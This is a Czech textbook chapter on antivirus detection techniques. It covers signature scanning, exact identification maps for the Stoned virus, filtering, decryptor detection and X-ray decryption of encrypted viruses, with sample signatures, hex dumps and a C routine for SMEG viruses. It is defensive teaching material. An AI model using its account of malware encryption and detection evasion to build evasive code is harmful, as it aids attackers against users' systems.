11.1.7 Skenování začátku a konce Skenování začátku a konce se často používá pro zrychlení detekce virů, a to skenováním pouze začátku a konce souboru, namísto skenování celého souboru. Proskenují se například první a poslední 2, 4 nebo 8 kB souboru na každé možné pozici. Jedná se o trochu lepší algoritmus než ty, které používaly první implementace antivirových skenerů, které pracovaly velmi podobně jako program GREP (který prohledává celý soubor na výskyt shodného řetězce). Jak se moderní procesory staly rychlejšími, začala být rychlost skenování záviset na rychlosti I/O operací. Pro optimalizaci rychlosti se vývojáři antivirových programů zaměřili na metody, které dokážou zredukovat počet čtení z disku. Protože se většina prvních počítačových virů připojovala na začátek nebo na konec hostitelských programů, stalo se skenování začátku a konce souboru docela populární technikou.

Počítačové viry – analýza útoku a obrana

381

11.1.8 Skenování vstupních a fixních bodů Skenování vstupních a fixních bodů učinilo antivirové skenery ještě rychlejšími. Takové skenery využívají vstupní body objektů, jako třeba ty, které jsou přístupné přes hlavičky spustitelných souborů.

V binárních spustitelných souborech bez struktur, jako třeba DOSové COM soubory, takové skenery následující různé instrukce, které předávají řízení (jako třeba instrukce skoku a volání) a skenují místa, kam tyto instrukce ukazují.

Protože jsou tato místa častým cílem počítačových virů, mají takové skenery velkou výhodu. Jiné skenovací metody, jako třeba již zmiňované skenování začátku a konce musí porovnávat řetězce (nebo haše řetězců) s každou možnou pozicí ve skenovací oblasti, ale skenery vstupních bodů mají obvykle jedinou pozici pro skenování – vlastní vstupní bod.

Uvažte 1 kB dlouhý buffer nazvaný jako B. Počet pozic, na kterých se má porovnávat řetězec, je 1024 minus S, kde S je velikost nejkratšího řetězce na porovnání. I když je hašovací algoritmus skeneru tak efektivní, že skener potřebuje provést kompletní vyhledávání řetězce pouze v 1% času, počet výpočtů se může rychle vyšplhat nahoru (v závislosti na počtu řetězců). Například s 1000 řetězců bude skener potřebovat učinit 10 kompletních porovnání na každé možné pozici. Bude tedy potřeba vykonat minimálně (1,024 – S)x10 porovnání. Násobek 1024 – S může být snížen skenováním fixního bodu s jediným potřebným porovnáním ve vstupním bodě. Jedná se tedy o velmi významný rozdíl.

Jestliže vstupní bod nemá dostatečně dobré řetězce, skenování ve fixním bodě může pomoct. Skenování ve fixním bodě porovnává pozici s každým řetězcem, takže je možné nastavit počátek M (například hlavní vstupní bod programu) a pak porovnávat každý řetězec (nebo haš) na pozici M + X bajtů od tohoto fixního bodu. Takto se opět redukuje počet nutných výpočtů, protože X bývá typicky nula. Tím se také významně snižuje množství diskových I/O operací.

Tuto techniku jsem používal ve svém antivirovém programu. Každý řetězec antiviru Pasteur vyžadoval pouze jediný fixní začátek, konec a konstantní velikost. Byly podporovány i zástupné znaky, ale pouze v omezené míře. Řetězce byly setříděny do několika tabulek, v závislosti na typu objektu. Při porovnávání řetězců se vybral první bajt vstupního bodu a zkontrolovalo se, zda-li začíná jako některý řetězec prostřednictvím hašovacího vektoru. Jestliže nebyly nalezeny žádné takové první bajty, vybíraly se další vstupní body (pokud nějaké zbývaly).

Protože je velikost každého řetězce konstantní, algoritmus může také kontrolovat, zda-li se poslední bajt řetězce shoduje s právě skenovaným místem v souboru. Jestliže se poslední bajt řetězce shoduje, pak se shoduje celý řetězec. V praxi k tomu ovšem dochází zřídka. Tento trik je podobný algoritmu Boyer-Moore zkombinovaným s jednoduchým hašováním.

11.1.9 Hyper-rychlý přístup k disku Hyper-rychlý přístup k disku je další užitečná technika, která se objevila v prvních implementacích antivirových skenerů. Používal jej program TBSCAN, stejně jako maďarský skener VIRKILL. Tyto skenery optimalizují proces skenování obcházením API určeného čtení z disku na úrovni operačního systému a přistupováním přímo přes BIOS. Protože byl MS-DOS obzvlášť pomalý při práci se souborovým systémem FAT, bylo možné dosáhnout nahrazením volání DOSových funkcí za přístup pomocí BIOSu až desetinásobného zrychlení při I/O operacích. Navíc byla tato technika užitečná jako obrana proti

382

Kapitola 11 – Techniky antivirové obrany

stealth virům. Protože souborové stealth infektory obvykle obcházely pouze přístup k souborům na úrovni DOSu, bylo většinou možné vidět změny v souborech prostřednictvím volání BIOSu. Jiné skenery a programy pro ověřování integrity dat kvůli ještě vyšší rychlosti a bezpečnosti obcházely i BIOS a pracovaly přímo s řadiči disků.

Bohužel – dnes už není možné tyto techniky jednoduše (pokud vůbec) používat na všech operačních systémech. Ne jenom kvůli tomu, že existuje mnoho systémů souborů, které by antivirové skenery musely rozeznat a podporovat, ale také kvůli tomu, že existuje velký počet řadičů disku, což činí tuto úlohu prakticky nemožnou.

11.2 Skenery druhé generace Skenery druhé generace používají přesnou a téměř přesnou identifikaci, která pomáhá vylepšit detekci počítačových virů a jiných škodlivých programů.

11.2.1 Chytré skenování Chytré skenování se objevilo v době, kdy se objevily první počítačové viry s mutačními enginy. Takové enginy obvykle pracovaly se zdrojovými kódy assembleru a snažily se tam vkládat nadbytečné, nic-nedělající instrukce NOP. Rekompilovaný virus byl pak velmi odlišný od svého originálu, protože se v něm změnilo mnoho offsetů.

Chytré skenování přeskakuje v hostitelském programu instrukce typu NOP a neukládá takové instrukce ve virových signaturách. Snahou chytrého skenování je vybrat oblasti těla viru, které nemají žádné reference na data nebo další subrutiny. To zvýšilo pravděpodobnost detekce blízké varianty viru.

Tato technika je také užitečná při práci s počítačovými viry, které se objevují v textových formách, jako jsou třeba skriptovací a makro-viry. Tyto počítačové viry se umějí jednoduše změnit, protože mohou obsahovat prázdné znaky (jako např. mezery, nové řádky, tabulátory atd.). Tyto prázdné znaky se mohou při chytrém skenování odstranit ze skenovacích bufferů, čímž se významně zvýší detekční schopnosti takových antivirových skenerů.

11.2.2 Detekce struktury Detekce struktury byla vyvinuta Eugenem Kasperskym a je hlavně užitečná při detekci rodin makrovirů. Namísto vybrání jednoduchého řetězce nebo kontrolního součtu sady maker skener raději zpracuje makra řádek po řádku a vypustí všechny nedůležité příkazy, stejně jako výše zmíněné prázdné znaky.

Výsledkem je struktura těla makra, která obsahuje pouze nezbytný škodlivý kód, který se běžně objevuje v makrovirech. Skener pak tyto informace použije k detekci virů, čímž se dosáhne lepší detekce variant virů spadající do stejné rodiny.

11.2.3 Téměř přesná identifikace Téměř přesná identifikace se používá pro přesnější detekci počítačových virů. Například – místo jednoho detekčního řetězce se pro každý virus použijí řetězce dva. K téměř přesné detekci viru Stoned můžeme vybrat z předchozího disassemblovaného výpisu druhý řetězec z offsetu 0x7CFC:

Počítačové viry – analýza útoku a obrana

383

0700 BA80 00CD 13EB 4990 B903 00BA 0001

V případě, že skener detekuje jeden řetězec varianty viru Stoned, nepovolí odstranění viru, protože by se mohlo jednat o neznámou variantu, kterou by nemusel zvládnout korektně odstranit. Pokud jsou ale nalezeny dva řetězce, je virus téměř přesně identifikován. Sice se může stále jednat o nějakou variantu viru, ale samotné léčení má vyšší šanci na úspěch. Tato metoda je zejména bezpečná v případě, kdy je zkombinována se záložkami (bookmarks).

Jiná metoda téměř přesné identifikace je založena na použití kontrolního součtu (jako třeba CRC32) z vybrané oblasti z těla viru. Obvykle se vybere dezinfekční oblast těla viru a spočítá se její kontrolní součet. Výhodou této metody je lepší přesnost. To proto, že je možné vybrat v těle viru delší oblast, bez toho aniž by byla přetížená antivirová databáze – počet bajtů k uložení do databáze bude obvykle stejný jak pro malou, tak i pro velkou oblast, což se tak neděje v případě řetězců, protože delší řetězce zaberou více místa na disku a v paměti.

Skenery druhé generace dále mohou dosáhnout téměř přesné identifikace bez použití jakýchkoliv vyhledávacích řetězců, třeba za pomoci kryptografických kontrolních součtů8 nebo nějakého druhu hašovací funkce.

Aby byly skenovací enginy rychlejší, začaly používat nějaký druh haše. To vedlo k tomu, že haš vypočítaný z kódu viru, nahradil detekci založenou na vyhledávacích řetězcích. Například antivirový skener Fridrika Skulasona pojmenovaný jako F-PROT9 používá k detekci virů hašovací funkci společně se záložkami.

Další skenery druhé generace, jako třeba ruský KAV, nepoužívají žádné vyhledávací řetězce. Algoritmus KAVu vymyslel Eugene Kaspersky. Namísto řetězců používá skener dva kryptografické kontrolní součty, které jsou v rámci objektu vypočítané ve dvou předvolených pozicích a délce. Antivirový skener interpretuje databázi kryptografických kontrolních součtů, řadí data do skenovacích bufferů (v závislosti na formátu objektu) a porovnává součty se zařazenými daty. Buffer může například obsahovat kód ve vstupním bodě spustitelného souboru. V takovém případě se každý první kryptografický kontrolní součet, který koresponduje s detekcí kódu ve vstupním bodě, skenuje výpočtem prvního a druhého součtu. KAV zobrazí varování o možné variantě škodlivého kódu pouze v případě, že se shoduje první součet. Pokud se shodují oba kryptografické kontrolní součty, skener zobrazí varování s téměř přesnou identifikací. První rozsah součtu se obvykle optimalizuje tak, aby popisoval malou část těla viru, druhý bývá větší, aby pokryl jeho větší část.

11.2.4 Přesná identifikace Přesná identifikace9 je jediný způsob, jakým lze zaručit správnou identifikaci jednotlivých variant viru.

Tato technika se obvykle kombinuje s technikami první generace. Narozdíl od téměř přesné identifikace, která používá kontrolní součty nějakého rozsahu bajtů v těle viru, přesná identifikace používá pokud možno co největší počet rozsahů, který je nezbytný k vypočítání kontrolního součtu všech jeho konstantních bitů. K dosažení této úrovně přesnosti se musí eliminovat proměnlivé bajty (variable bytes), aby se mohla vytvořit mapa všech konstantních bajtů. Konstantní data se dají v mapě použít, nicméně proměnlivé bajty mohou poškodit kontrolní součet.

384

Kapitola 11 – Techniky antivirové obrany

Uvažte kód a data získaná z viru Stoned, která jsou zobrazena na obrázku 11.5. Na začátku kódu, v nultém bajtu těla viru, je možné nalézt dvě instrukce skoku, které nakonec převedou tok vykonávání programu na opravdový začátek virového kódu.

Obrázek 11.5

Proměnná data viru Stoned.

Těsně za druhou instrukcí skoku se nachází datová oblast viru. Proměnné jsou flag, int13off, int13seg a virusseg. Jedná se o skutečné proměnné, jejichž hodnoty se mohou lišit v závislosti na prostředí viru. Konstanty jsou jumpstart, bootoff a bootseg – tyto hodnoty se nemění, stejně jako zbytek virového kódu.

Protože všechny proměnlivé bajty jsou identifikovány, zbývá poslední důležitá věc ke zkontrolování – velikost virového kódu. Víme, že se Stoned vleze do jediného sektoru, nicméně virus se sám kopíruje do existujících boot a master boot sektorů. Pro nalezení skutečné velikosti viru je zapotřebí se podívat na kód, který se stará o kopírování viru do virového segmentu. Ten se dá nalézt v disassemblovaném výpisu na obrázku 11.6.

Obrázek 11.6

Hledání velikosti těla viru Stoned (440 bajtů).

Velikost viru je skutečně 440 (0x1B8) bajtů. Jakmile virus zkopíruje svůj kód do alokované paměťové oblasti, tam ihned předá řízení vlastnímu kódu. K tomu virus používá konstantní offset a virový segment virusseg uložený v datové oblasti na adrese CS:0Dh (0x7C0D). Nyní tedy máme všechny informace, které potřebujeme ke spočítání mapy viru.

Mapa bude zahrnovat následující rozsahy: 0x0-0x7, 0xD-0xE, 0x11-0x1B7 s kontrolním součtem 0x3523D929. Proměnlivé bajty jsou tedy eliminovány a virus je přesně identifikovatelný.

Abyste přesnou identifikaci lépe pochopili, uvažujme části kódu dvou variant viru Stoned, A a B, jak je vidět ve výpisech 11.1 a 11.2. Tyto dvě varianty mají stejnou mapu, takže jejich kód a konstantní oblasti dat se shodují. Kontrolní součet dvou různých variant se nicméně bude lišit, protože autor změnil pár bajtů ve zprávě a textové oblasti těla viru. Změna ve třech bajtech má za výsledek rozdílný kontrolní součet.

Počítačové viry – analýza útoku a obrana

385

Výpis 11.1 Mapa viru Stoned.A. Jméno viru: Stoned.A Mapa viru: 0x0-0x7 0xD-0xE 0x11-0x1B7 Kontrolní součet: 0x3523D929 0000:0180 0333DBFEC1CD13EB C507596F75722050 ..........Your P 53746F6E656421 C is now Stoned!

0000:0190 43206973206E6F77 2053 534520 204D41 .....LEGALIS SE MA 0000:01A0 070D0A0A004C4547 414C4953 0000:01B0 52494A55414E4121 0000000000000000 RIJUANA!........

Výpis 11.2 Mapa viru Stoned.B. Jméno viru: Stoned.B Mapa viru: 0x0-0x7 0xD-0xE 0x11-0x1B7 Kontrolní součet: 0x3523C769 0000:0180 0333DBFEC1CD13EB C507596F75722050 ..........Your P 73746F6E656421 C is now stoned!

0000:0190 43206973206E6F77 2073 5A4500 004D41 .....LEGALIZ ZE.MA 0000:01A0 070D0A0A004C4547 414C495A 0000:01B0 52494A55414E4121 0000000000000000 RIJUANA!........

Přesná identifikace tak může od sebe odlišit obě varianty. Taková úroveň přesnosti je ovšem používána ve velmi malém množství AV produktů, jako třeba u antiviru F-PROT9. Přesná identifikace má jak pro koncové uživatelem, tak i pro antivirové výzkumníky mnoho výhod. Na druhou stranu – skenery používající přesnou identifikaci jsou při skenování infikovaných systémů obvykle pomalejší než jednoduché skenery (pokud jsou jejich algoritmy pro přesnou identifikaci použity).

V případě většího počítačového viru je také docela únavné mapovat všechny konstantní rozsahy. To proto, že virový kód často míchá data společně s kódem.

11.3 Algoritmické skenovací metody Algoritmické skenování je trochu matoucí, nicméně široce používaný termín. Jakmile si standardní algoritmy skeneru nedovedou s virem poradit, je zapotřebí implementovat nový, pro daný virus specifický detekční algoritmus. Tomu se říká algoritmické skenování, nicméně termín algoritmus detekce konkrétního viru zní mnohem jasněji. První implementace algoritmického skenování byly řešeny jako obyčejné sady pevně daných detekčních rutin, které se přikládaly k samotnému kódu jádra antivirového enginu.

Není překvapením, že takový typ detekce způsoboval mnoho problémů. První spočíval v tom, že kód enginu byl smíchán se speciálními rutinami, které se obtížně programovaly na nové platformy. Druhý problém tkvěl v ohrožení stability – algoritmické skenování mohlo skener jednoduše shodit, protože aktualizace pro detekce virů se vždy musí vypouštět co nejdříve, přičemž není dost času na testování.

386

Kapitola 11 – Techniky antivirové obrany

Řešení tohoto problému je jazyk na skenování virů10. Takové jazyky v té nejjednodušší formě obvykle podporují operace posunu ukazatele a čtení ve skenovaných objektech. Algoritmický sken podle řetězce se tedy provede přesunutím ukazatele na příslušné místo směrem dopředu od začátku souboru (nebo dozadu od jeho konce nebo od vstupního bodu), čtením bajtů, spočítáním místa, kam volání ukazuje a porovnáním řetězců, pěkně jednoho po druhém.

Algoritmické skenování je nezbytnou součástí architektury moderních antivirových systémů. Některé skenery, jako třeba KAV, přišly s objektovým kódem, který byl součástí antivirové databáze. Detekční rutiny pro jednotlivé viry jsou napsány v přenositelném jazyce C, zkompilovány do objektového kódu a uloženy v databázi skeneru. Skener implementuje zavaděč podobný tomu z operačního systému, který za běhu spojí všechny objekty zodpovědné za detekci virů. Ty se potom spustí jeden po druhém, v závislosti na předdefinovaném pořadí volání. Výhodou této implementace algoritmického skenování je lepší výkon, nevýhodou je možné riziko nestability způsobené spouštěním reálného kódu na běžícím systému, který může obsahovat drobné chyby způsobené rychlou reakcí antivirových společností na hrozící nebezpečí, které si vyžádalo rychlé vytvoření komplexní detekční rutiny.

K eliminaci tohoto problému se moderní algoritmické skenování implementuje jako p-kód (portable code, přenositelný kód), který je podobný Javě, s použitím virtuálního stroje. Příkladem použití této techniky je Norton AntiVirus. Výhodou této metody je to, že detekční rutiny jsou vysoce přenositelné.

Není totiž potřeba vytvářet znovu pro nové platformy každou detekční rutinu specifickou pro daný virus – ty totiž mohou běžet stejně dobře na PC jako na IBM AS/400 (v případě, že je skener a virtuální stroj algoritmického skenovacího enginu přeportován na takové platformy). Nevýhodou je relativně pomalé vykonávání p-kódu (v porovnání s přímým spouštěním). Interpretovaný kód totiž obvykle běží až stokrát pomaleji než pravý strojový kód. Detekční rutiny mohou být implementovány v jazyce assembleru s vysokoúrovňovými makry. Takové rutiny pak mohou poskytovat skenovací funkce, které vyhledávají skupiny řetězců. Takové skenery ovšem musí být optimalizovány filtrováním, které je více rozvedeno v následující části. Detekční kód může být také implementován v rozšiřitelném skenovacím enginu za použití nativního kódu.

V budoucnu se očekává, že algoritmické skenery budou implementovat JIT (Just-In-Time) pro kompilaci detekčních rutin založených na p-kódu do nativního kódu dané architektury, podobně jako to dělá .NET Framework v Microsoft Windows. Například, když se skener spustí na platformě Intel, p-kód se za běhu zkompiluje do kódu Intelu, čímž se rychlost vykonávání p-kódu dramaticky zvýší (často více než stonásobně). Tato metoda pak eliminuje problémy při spouštění strojového kódu jako součásti databáze, přičemž samotné vykonávání zůstává pod kontrolou skeneru, protože detekční rutiny se skládají z řízeného kódu (managed code).

11.3.1 Filtrování Filtrovací technika se stále více používá ve skenerech druhé generace. Myšlenka filtrování spočívá v tom, že viry obvykle infikují pouze vybranou sadu známých typů objektů, což dává skeneru jistou výhodu.

Například signatury boot virů se mohou omezit pouze na boot sektory, signatury DOSových EXE infektorů na soubory EXE atd. U řetězce nebo detekční rutiny se právě z tohoto důvodu používá speciální příznak, který indikuje, zda-li se má signatura v právě skenovaném objektu kontrolovat, což redukuje množství řetězců, které skener musí následně porovnat.

Počítačové viry – analýza útoku a obrana

387

Algoritmické skenování silně závisí na filtrech. Protože jsou takové detekce více závislé na výkonu skenování, algoritmická detekce vyžaduje filtrování na dobré úrovni. Filtrem může být cokoliv, co je specifické pro daný virus: typ spustitelného souboru, identifikační značka viru v hlavičce skenovaného objektu, sekce kódu s podezřelými příznaky nebo jmény atd. Bohužel – ne každý virus umožňuje použít proces filtrování.

Problém skenerů je jasný – skenování takových virů je časově náročné pro všechny produkty. Další problémem je detekce vyvíjejících se virů (jako třeba zakódované a polymorfní viry), které se dají najít prostřednictvím řetězců se zástupnými znaky pouze ve výjimečných případech.

Tyto viry se dají lépe detekovat s použitím generického dekryptoru11 (založeném na virtuálním stroji), který dekóduje tělo viru a nalezne jeho konstantní tělo za použití řetězců nebo jiné známé metody detekce. Tyto metody nicméně nejsou vždy funkční. Například takové EPO viry a viry s obranou proti emulaci jsou schopny tyto techniky odstavit. V takových případech je zapotřebí použít zcela jiné techniky, jako je třeba analýza decryptoru/polymorfního enginu. Takto se dají dokonce detekovat i viry jako třeba W32/Gobi12 (analýza decryptoru jednoduše znamená, že se nahlédne do několika polymorfních decryptorů a porovnají se části kódu decryptoru v polymorfním enginu – takto se dá v mnoha případech, za použití algoritmické detekce, detekovat i samotný decryptor).

Kód algoritmické detekce obvykle stráví mnoho času ve smyčce, což vyžaduje značný výkon procesoru.

Například, v některých případech vyžaduje vysoce optimalizovaná detekce viru W95/Zmist13 vykonání přes dva milióny iterací p-kódu, aby byl virus korektně rozpoznán. Tento druh detekce funguje pouze tehdy, když se dá infikovaný soubor rychle rozeznat a odlišit od souboru neinfikovaného.

Ačkoliv varianty viru Zmist nijak neoznačují napadené objekty, existuje přesto několik způsobů, jakým lze napadené soubory odfiltrovat. Zmist totiž používá několik filtrů, aby omezil infekci některých spustitelných souborů. Například infikuje pouze takové soubory, které mají známá jména sekcí a neinfikuje soubory nad stanoveným limitem jejich velikosti. Kombinace takových filtrů redukuje množství souborů nutných pro zpracování na méně než 1% všech spustitelných objektů, což umožňuje, aby relativně náročný detekční algoritmus běžel efektivně na všech systémech.

Pro efektivní filtrování se dají použít následující kontroly: 

Kontrola počtu nulových bajtů v oblasti souboru, kde se předpokládá umístění viru. Ačkoliv některé viry používají kódování, četnost zakódovaných a nezakódovaných dat se může dost lišit.

Taková technika se běžně používá pro kryptografické prolamování. Například konec PE souboru (posledních pár kilobajtů) často obsahuje více než 50% nulových bajtů. V zakódovaném viru bývá obvyklý výskyt nul mnohem menší, pod 5 procent.



Kontrola změn příznaků a velikostí v hlavičce sekce. Některé viry označují sekce jako zapisovatelné a jiné podobným způsobem mění některé důležité záznamy na atypické hodnoty.



Kontrola příznaků souboru. Některé viry neinfikují konzolové aplikace, jiné neinfikují DLL knihovny nebo systémové ovladače.

388

Kapitola 11 – Techniky antivirové obrany

11.3.2 Statická detekce decryptoru Problémy se objevují v okamžiku, kdy je tělo viru náhodně zakódované, protože rozsahy bajtů, které skener používá k identifikaci viru, jsou omezené. Různé produkty používají detekci decryptoru specifickou pro daný virus všemi způsoby, ve všech kódových sekcích programových souborů. Rychlost skenování závisí na velikosti kódových sekcí skenovaných aplikací. Taková metoda detekce se používala ještě předtím, než se objevily první generické decryptory. Sama o sobě může tato technika hlásit falešné poplachy a opomíjet zavirované soubory, nehledě na to, že nezajišťuje možnost léčení, protože kód viru není dekódován. Jakmile se ale tato metoda použije společně s nějakým efektivním filtrem, je relativně docela rychlá.

Podívejte se na část kódu viru W95/Mad, který je uveden na obrázku 11.7, který je dále rozebrán v kapitole 7. Decryptor viru W95/Mad je na počátku zakódovaného těla, hned za vstupním bodem infikovaných PE souborů.

Obrázek 11.7

Decryptor viru W95/Mad.

V tomto příkladu je operand instrukce SUB umístěný na 404208 proměnlivý, takže je zapotřebí ve vstupním bodě použít řetězec se zástupnými znaky. Následující řetězec bude schopný tento decryptor detekovat i v případě jiných variant viru: 8BEF 33C0 BF?? ???? ??03 FDB9 ??0A 0000 8A85 ???? ???? 3007 47E2 FBEB

Protože tento virus používá k dekódování svého těla jednoduchou metodu (XOR s konstantním bajtem), kompletní dekódování virového kódu je vcelku prosté. Dekódování se dá docílit velmi jednoduše, protože délka klíče není příliš velká. V našem příkladu je klíč 7Bh. Všimněte si těchto bajtů v zakódované oblasti viru – jedná se o nulové bajty, protože 7Bh XOR 7Bh = 0. Protože známe konstantní kód pod

Počítačové viry – analýza útoku a obrana

389

jednou zakódovanou vrstvou, je útok na čistý (nezakódovaný, dekódovaný) text snadno proveditelný.

Tato metoda detekce je předmětem následující části kapitoly.

Detekce decryptoru se dá použít i pro detekci polymorfních virů. I velmi silné mutační enginy, jako třeba MtE, používají alespoň jeden konstantní bajt v decryptoru, což stačí pro algoritmickou detekci s použitím disassembleru délky instrukcí. Polymorfní decryptor se jím dá disassemblovat a kód decryptoru profilovat. MtE používá konstantní instrukce podmíněného skoku zpět na proměnlivém místě.

Operační kód instrukce je 75h, což se dekóduje jako instrukce JNZ. Operand instrukce vždy ukazuje směrem zpět, což značí, že se jedná o decryptor. Potom se tok programu zanalyzuje na všechny možné způsoby, kterými virus dekóduje své tělo, přičemž se ignorují všechny nadbytečné instrukce.

Je sice časově náročné analyzovat vylepšené polymorfní enginy pro všechny možné dekódovací metody a nadbytečné instrukce, ale často je to jediný způsob, jakým lze takové viry detekovat.

11.3.3 Rentgenová metoda (X-raying) Jiná skupina skenerů používá kryptografickou detekci. Jak lze vidět v předchozím zmíněném příkladu, virus W95/Mad používá konstantní zakódování přes XOR s náhodně zvoleným bajtem, který slouží jako (de)kódovací klíč uložený v těle viru. To činí dekódování a následnou detekci viru opravdu triviální záležitostí. Podívejte se na část těla viru W95/Mad v zakódovaném a dekódovaném tvaru ve výpisech 11.3 a 11.4. V následujícím příkladě slouží jako decryptovací klíč bajt 7Bh.

Výpis 11.3 Zakódovaná část viru W95/Mad. Zakódovaný text

ASCII bajty

5B4A42424C7B5155 - 1E231E7B20363A3F

[JBBL{ QU.#.{

5B1D14095B2C1215 - 424E265B0D1E0908

[...[,..BN&[....

1214155B4A554B5B - 393E2F3A5A5B5318

...[JUK[9>/:Z[S.

5239171A18105B3A – 151C1E171B424C7B

R9....[:.....BL{

2031393937002A2E - 655865005B4D4144

1997.*.eXe.[MAD

20666F722057696E - 39355D2076657273

for Win95] vers

6:?

696F6E20312E3020 - 4245544121202863

ion 1.0 BETA! (c

29426C61636B2041 - 6E67656C60393700 )

Black Angel`97.

Výpis 11.4 Dekódovaná část viru W95/Mad. Odpovídající čistý text

ASCII bajty

2031393937002A2E - 655865005B4D4144

1997.*.eXe.[MAD

20666F722057696E - 39355D2076657273

for Win95] vers

696F6E20312E3020 - 4245544121202863

ion 1.0 BETA! (c

29426C61636B2041 - 6E67656C60393700

)Black Angel`97.

390

Kapitola 11 – Techniky antivirové obrany

Virus se dá jednoduše dekódovat algoritmickou technikou a následně přesně identifikovat.

Antiviroví výzkumníci také mohou prozkoumat polymorfní enginy vylepšených virů a vypátrat metody zakódování, které používají. Jednoduché metody, jako třeba XOR, ADD, ROR atd. se často používají s 8bitovými, 16bitovými a 32bitovými klíči. Někdy decryptor viru používá více než jednu vrstvu, která je zakódována stejnou metodou (nebo i více metodami) s jednobajtovým, dvoubajtovým a čtyřbajtovým klíčem. Útok na zakódování virového kódu se nazývá jako rentgenové (X-RAY) skenování, které vymyslel Frans Veldman pro svůj produkt TBSCAN, stejně jako někteří další výzkumníci v podobném čase a nezávisle na sobě. Poprvé jsem tuto techniku použil pro detekci viru Tequila. Myšlenka rentgenování byla vcelku přirozená, protože dekódování kódu viru bylo – pro účely léčení – nezbytné i v případě starších známých, a neustále se šířících virů, jako třeba Cascade. Veselin Bontchev mě informoval, že poprvé spatřil dokument popisující techniku rentgenování u Eugena Kasperskyho.

Rentgenové skenování využívá všech jednoduchých metod kódování a provádí se na vybraných oblastech v souborech, jako třeba na jeho začátku, na konci nebo blízko kódu u vstupního bodu programu.

Skener tedy stále může pro detekci zakódovaných – a dokonce i složitých polymorfních – virů14 používat jednoduché řetězce. Skenování je sice trochu pomalejší, ale technika je obecně použitelná.

Problém s touto metodou vyvstane v momentě, kdy začátek těla viru není k nalezení na fixním místě a útok proti decryptoru se tak musí spustit na velké oblasti souboru, což vede k velkému zpomalení.

Výhodou této metody je kompletní dekódování virového kódu, což umožňuje soubor vyléčit i v případě, kdy jsou informace, které jsou nezbytné k obnovení, uloženy v zakódované formě.

Poznámka Rentgenové skenování často detekuje instance počítačových virů, které mají falešný decryptor.

Některé polymorfní viry vytvářejí falešné decryptory, které nedekódují tělo viru správně, nicméně dekódování rentgenovou metodou skončí i na těchto vzorcích úspěchem. Takové vzorky se dají detekovat pouze tímto způsobem, protože detekční techniky založené na emulaci, vyžadují fungující decryptor.

Některé viry, jako třeba W95/Drill, používají více než jednu zakódovanou vrstvu a polymorfní engine, ale i tak mohou být efektivně detekovatelné. Nejvíce záleží na kombinaci kódovacích metod. Příliš nezáleží na tom, jestli polymorfní zakódování používá metodu XOR jednou nebo stokrát – v obou případech se dá virus rentgenováním detekovat. Nebo třeba takový polymorfní engine SMEG (Simulated "Metamorphic" Encryption Generator), vytvořený autorem jménem Black Baron, se dá efektivně detekovat s použitím algoritmické detekce, která využívá techniku rentgenování.

Poznámka Christopher Pile, autor virů SMEG, byl v listopadu roku 1995, podle zákona Computer Misuse Act Spojeného Království, odsouzen k osmnácti měsícům ve vězení.

Počítačové viry – analýza útoku a obrana

391

Viry Pathogen a Queeg také používaly engine SMEG s metodami XOR, ADD a NEG v kombinaci s posuvnými proměnnými kódovacími klíči.

Následující příklad detekce virů SMEG mám od Eugena Kasperskeho15 jako ukázku metody rentgenování. Kaspersky je jedním z nejlepších v návrhu kryptoanalyticky orientovaných detekčních algoritmů.

S podobnými technikami byl schopný detekovat i extrémně vylepšené zakódované a polymorfní enginy.

SMEG viry začínají dlouhou a proměnnou polymorfní dekódovací rutinou. Polymorfní decryptovací smyčka se nachází ve vstupním bodě DOSových COM a EXE souborů. Velikost decryptoru nicméně není konstantní. Protože může být decryptor větší, rentgenová dekódovací rutina potřebuje použít počáteční ukazatel p a inkrementovat jej tak, aby se trefil do všech možných počátečních míst zakódovaného těla viru, které je umístěno hned za decryptorem na proměnlivém místě.

K dekódování kódu viru je zapotřebí pěti následujících dekódovacích metod, kde s je dekódovaný bajt z místa, na které ukazuje p, t je zakódovaný bajt, k je klíč, kterým se bajt t dekóduje a q je proměnná, pomocí které se implementuje posun konstantního klíče. Proměnná s je rovna dekódovanému bajtu vybranou metodou: A) s=t XOR k a pak k=k+q B) s=t ADD k a pak k=k+q C) s=t XOR k a pak k=s+q D) s=NEG (t XOR k) a pak k=k+q E) s=NOT (t XOR k) a pak k=k+q Následující rentgenová funkce může být implementována k dekódování zakódovaného těla virů SMEG. Než může dekódování začít, musí se vyplnit buffer (buf[4096]) 0x800 (2048 bajtů) dlouhými daty. Algoritmus implementuje obnovení klíče, které je založeno na faktu, že prvních několik bajtů těla viru SMEG je po dekódování E8000058 FECCB104. Tomu se v kryptografii říká útok na známý čistý text (know plain-text attack).

Klíč, který zakódovává první bajty viru, se dá obnovit pomocí bajtu 0xE8. Posun klíče q se dá s použitím pěti odlišných metod obnovit z rozdílů mezi prvním a druhým bajtem, viz výpis 11.5.

První krok pro smyčku je inkrementace ukazatele p a pokus o dekódování těla viru na všech možných pozicích. Protože délka polymorfního dekryptoru nikdy nepřekročí 0x700 (1792) bajtů, dá se začátek zakódovaného těla viru najít v této oblasti kdekoliv.

Potom se inicializuje klíč pro pět odlišných metod, v závislosti na dvou zakódovaných bajtech, na které ukazuje p. Potom se spustí krátká dekódovací smyčka, která používá každou z pěti dekódovacích metod a umístí dekódovaný obsah na pět různých pozic pracovního bufferu pro další analýzu.

A nakonec – poslední smyčka zkontroluje každou dekódovanou oblast ohledně možného výskytu začátku řetězce. Jakmile je vypátrána příslušná dekódovací metoda, dá se dekódovat celý buffer a virus je možné velmi jednoduše identifikovat.

Kapitola 11 – Techniky antivirové obrany

392 Výpis 11.5

Rentgenová metoda detekce virů SMEG. for (p=0; p<0x700; p++) { ch1=buf[p];

ch2=buf[p+1];

k1=ch1^0xE8;

q1=ch2-k1;

k2=ch1-0xE8;

q2=ch2-k2;

k3=k1;

q3=ch2-ch1;

k4=(-ch1)^0xE8;

q4=-ch2-k4;

k5=ch1^0xFF^0xE8;

q5=(ch2^0xFF)-k5; /* XOR FF = NOT */

for (i=0;i<0x40;i++) { ch1=buf[ptr+i]; buf[0x800+i]=ch1^k1; k1+=q1; buf[0x900+i]=ch1-k2; k2+=q2; buf[0xA00+i]=ch1^k3; k3=ch1+q3; buf[0xB00+i]=(-ch1)^k4; k4+=q4; buf[0xC00+i]=ch1^k5^0xFF; k5+=q5;

/* XOR FF = NOT */

} for (i=0x800;i<=0xC00;i+=0x100) { if ( ((uint32*)(buf+i))[0]==0x580000E8 && ((uint32*)(buf+i))[1]==0x04B1CCFE

)

{ // Následuje pokus o identifikaci viru } } }

